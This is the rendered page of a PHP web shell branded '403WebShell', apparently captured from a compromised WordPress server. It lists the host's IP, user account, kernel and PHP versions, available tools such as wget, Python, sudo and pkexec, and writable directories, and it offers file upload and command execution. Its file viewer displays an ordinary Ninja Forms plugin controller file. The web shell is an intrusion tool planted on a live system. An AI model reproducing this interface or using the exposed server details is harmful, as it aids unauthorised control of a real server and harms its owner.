Uname:Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64

Base Dir : /var/www/html

User : gavin


403WebShell
403Webshell
Server IP : 68.183.124.220  /  Your IP : 216.73.217.137
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : gavin ( 1000)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins/ninja-forms/includes/AJAX/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/ninja-forms/includes/AJAX/Controllers/FormEndpoints.php
<?php if ( ! defined( 'ABSPATH' ) ) exit;

class NF_AJAX_Controllers_FormEndpoints extends NF_Abstracts_Controller
{
    /*
     * Constructor
     */
    public function __construct()
    {
//        add_action( 'wp_ajax_nf_get_forms', array( $this, 'get_forms' ) );
//        add_action( 'wp_ajax_nf_get_new_form_templates', array( $this, 'get_new_form_templates' ) );
//        add_action( 'wp_ajax_nf_delete', array( $this, 'delete' ) );
//        add_action( 'wp_ajax_nf_duplicate', array( $this, 'duplicate' ) );
    }

    /*
     *
     */
    public function get_forms()
    {
        $db_forms_controller = new NF_Database_FormsController();
        $forms_json = $db_forms_controller->getFormsData();
        $this->_respond( $forms_json );
    }

    /*
     *
     */
    public function get_new_form_templates()
    {
        $templates = Ninja_Forms()->config( 'NewFormTemplates' );
        die( json_encode( $templates ) );
    }

    /*
     *
     */
    public function delete()
    {
        $id = $_REQUEST[ 'form_id' ];

        try{
            $form = Ninja_Forms()->form( $id )->get();
            $this->_data[ 'delete' ] = $form->delete();;
        } catch( Exception $e ) {
            $this->_data[ 'errors' ][] = $e->getMessage();
        }
        $this->_respond();
    }

    public function duplicate()
    {
        $form_id = $_REQUEST[ 'form_id' ];

        //Copied and pasted from NF_Database_models_Form::duplicate line 136
        $form = Ninja_Forms()->form( $form_id )->get();

        $settings = $form->get_settings();

        $new_form = Ninja_Forms()->form()->get();
        $new_form->update_settings( $settings );

        $form_title = $form->get_setting( 'title' );

        $new_form_title = $form_title . " - " . __( 'copy', 'ninja-forms' );

        $new_form->update_setting( 'title', $new_form_title );

        $new_form->update_setting( 'lock', 0 );

        $new_form->save();

        $new_form_id = $new_form->get_id();

        $fields = Ninja_Forms()->form( $form_id )->get_fields();

        foreach( $fields as $field ){

            $field_settings = $field->get_settings();

            $field_settings[ 'parent_id' ] = $new_form_id;

            $new_field = Ninja_Forms()->form( $new_form_id )->field()->get();
            $new_field->update_settings( $field_settings )->save();
        }

        $actions = Ninja_Forms()->form( $form_id )->get_actions();

        foreach( $actions as $action ){

            $action_settings = $action->get_settings();

            $new_action = Ninja_Forms()->form( $new_form_id )->action()->get();
            $new_action->update_settings( $action_settings )->save();
        }

        return $new_form_id;

    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit